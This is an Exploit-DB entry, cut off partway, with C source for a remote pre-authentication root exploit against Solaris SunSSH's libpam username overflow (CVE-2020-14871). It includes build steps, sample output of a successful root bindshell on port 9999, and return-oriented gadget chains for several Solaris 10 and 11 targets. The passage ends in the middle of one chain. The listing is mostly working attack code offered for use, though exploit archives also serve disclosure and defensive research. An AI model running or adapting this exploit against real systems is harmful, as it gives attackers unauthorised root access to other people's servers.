Exploit-DB #49261
Description: Solaris SunSSH 11.0 x86 - libpam Remote Root
Type: remote
Platform: solaris
Date: 2020-12-15
Author: Hacker Fantastic

Exploit:
# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root 
# Exploit Author: Hacker Fantastic
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html
# Version: 11
# Tested on: SunOS solaris 5.11 11.0

/* SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
 * ====================================================================
 * Makefile
 * all: hfsunsshdx
 *
 *	hfsunsshdx: main.c
 *	gcc main.c -o hfsunsshdx -lssh2 
 *
 *	clean:
 *	rm -rf hfsunsshdx
 *	rm -rf core.*
 *
 * A trivial to reach stack-based buffer overflow is present in libpam on
 * Solaris. The vulnerable code exists in pam_framework.c parse_user_name()
 * which allocates a fixed size buffer of 512 bytes on the stack and parses
 * usernames into the buffer via modules (authtok_get) without bounds checks.
 * This issue can be reached remotely pre-authentication via SunSSH when
 * "keyboard-interactive" is enabled to use PAM based authentication. The
 * vulnerability was discovered being actively exploited by FireEye in the
 * wild and is part of an APT toolkit called "EVILSUN". The vulnerability
 * is present in both SPARC/x86 versions of Solaris & others (eg. illumos).
 * This exploit uses ROP gadgets to disable nxstack through mprotect on x86
 * and a helper shellcode stub. The configuration in a default Solaris 
 * install is vulnerable. The exploit makes use of libssh2 and tested on
 * Solaris 10 through 11.0. Solaris 9 does not ship with a vulnerable 
 * SunSSH implementation and versions later than 11.1 have updated SunSSH
 * code that prevents the issue being triggered.
 *
 * e.g.
 *  ./hfsunsshdx -s 192.168.11.220 -t 0 -x 2
 *  [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871
 *  [-] chosen target 'Solaris 11 11/11 11.0 Sun_SSH_2.0 x86'
 *  [-] using shellcode 'Solaris 11.0 x86 bindshell tcp port 9999' 193 bytes
 *  [+] ssh host fingerprint: 01bc34fe8092e051716b91fd88eed210db2df49e
 *  [+] entering keyboard-interactive authentication.
 *  [-] number of prompts: 1
 *  [-] prompt 0 from server: 'Please enter user name: '
 *  [-] shellcode length 193 bytes
 *  [-] rop chain length 68
 *  [-] exploit buffer length 580
 *  [-] sending exploit magic buffer... wait
 *  [+] exploit success, handling payload...
 *  [-] connected.. enjoy :)
 *  SunOS solaris 5.11 11.0 i86pc i386 i86pc
 *   6:49pm  up 53 min(s),  1 user,  load average: 0.01, 0.01, 0.01
 *  helpdesk   console      Nov 27 17:57
 *  uid=0(root) gid=0(root)
 *
 * -- Hacker Fantastic (https://hacker.house)
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <ctype.h>
#include <getopt.h>
#include <time.h>
#include <signal.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <libssh2.h>

int sd = -1;
int oldsd = -1;
int ishell = -1;
char* buf;
char* payload;
char* retaddr;
struct sockaddr_in sain;

struct target {
	char* name;
	char* ropchain;
};

struct shellcode {
	char* name;
	char* shellcode;
};

void spawn_shell(int);
void bindshell_setup(short);
void on_alarm(int);
void on_interupt(int);
void prepare_payload();

const int targetno = 5;
struct target targets[] = {
	{"Solaris 11 11/11 11.0 Sun_SSH_2.0 x86",
	"\x41\x42\x43\x44"  // %ebx
	"\x45\x46\x47\x48"  // %esi 
	"\x50\x51\x52\x53"  // %ebp
	"\xa7\x0e\x06\x08"  // pop %ecx, pop %edx, pop %ebp
	"\x9c\x3e\x04\x08"  // ptr to (0x?, 0x?, 0x8044cf0, 0x7) 
	"\x01\x01\x04\x08"  // %edx unused, must be writeable addr
	"\x41\x42\x43\x44"  // %ebp unused var 
	"\x93\xdb\xc8\xfe"  // pop %edx ; ret
	"\x01\x30\x04\x08"  // ptr to 0x08043001 mprotect arg
	"\x1a\xe7\x0b\xfe"  // dec %edx ; ret 
	"\x79\x41\xfe\xfe"  // mov %edx,$0x4(%ecx) ; xor %eax, %eax ; ret
	"\x93\xdb\xc8\xfe"  // pop %edx ; ret 
	"\x01\x30\x04\x08"  // ptr to shellcode
	"\xe0\xe8\x3e\xfe"  // mov $0x72,%al 
	"\x64\x7c\xc3\xfe"  // inc %eax ; ret
        "\x64\x7c\xc3\xfe"  // inc %eax ; ret	
	"\x22\x9d\xd3\xfe"},// sysenter
	{"Solaris 11 Express (snv_151a) Sun_SSH_1.5 x86",
	"\x41\x42\x43\x44"  // %ebx overwrite unused
	"\x41\x42\x43\x44"  // %esi overwrite unused
	"\xf8\x32\x04\x08"  // %ebp overwrite unused
	"\xb7\xf9\x05\x08"  // pop %ecx ; pop %edx ; pop %ebp ; ret
	"\x7e\x36\x02\x04"  // ptr/2 to (0x?, 0x0, 0x1000, 0x7) 
	"\x01\x30\x04\x08"  // ptr for %edx
	"\x44\x43\x42\x41"  // ptr for %ebp unused
	"\xe4\xd4\xde\xfe"  // dec %edx ; add %ecx, %ecx ; ret
	"\x19\x42\xfe\xfe"  // mov %edx,$0x4(%ecx) ; xor %eax, %eax; ret
	"\xb8\xf9\x05\x08"  // pop %edx ; pop %ebp ; ret
	"\xeb\x30\x04\x08"  // shellcode ptr for %edx
	"\x1c\x33\x04\x08"  // %ebp & used by "leave"
        "\x84\x98\x51\xfe"  // mov $0x82, %eax ; pop %esi ; pop %ebx ; leave ; ret
        "\x41\x42\x43\x44"  // %esi unused
        "\xe0\x30\x04\x08"  // shellcode ptr to %ebx                              
        "\xe8\x32\x04\x08"  // ptr into %ebp        
        "\x19\x3f\xfe\xfe"  // sub $0x4,%eax ; ret  
        "\x19\x3f\xfe\xfe"  // sub $0x4,%eax ; ret
        "\x19\x3f\xfe\xfe"  // sub $0x4,%eax ; ret
        "\x11\x3f\xfe\xfe"  // sub $0x2,%eax ; ret
	"\xfe\xf8\xcf\xfe"},// sysenter
	{"Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86",
	"\xc3\x31\x04\x08"  // overwrite %ebp unused
	"\xa3\x6c\xd8\xfe"  // mov $0x74, %eax ; ret
	"\x29\x28\x07\x08"  // pop %ebx ; ret
	"\xf0\xff\xaf\xfe"  // 0x0a writen to address, unused gadget
	"\x08\xba\x05\x08"  // pop %edx ; pop %ebp ; ret
	"\x01\x30\x04\x08"  // %edx pointer to page
	"\xb8\x31\x04\x08"  // unused %ebp value
	"\xaa\x4c\x68\xfe"  // pop %ecx ; ret
	"\xe0\x6e\x04\x08"  // ptr (0x?,0x0,0x1000,0x7)
	"\x61\x22\x07\x08"  // dec %edx ; ret
	"\x8b\x2d\xfe\xfe"  // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret
	"\xa3\x6c\xd8\xfe"  // mov $0x74, %eax ; ret
	"\x08\xba\x05\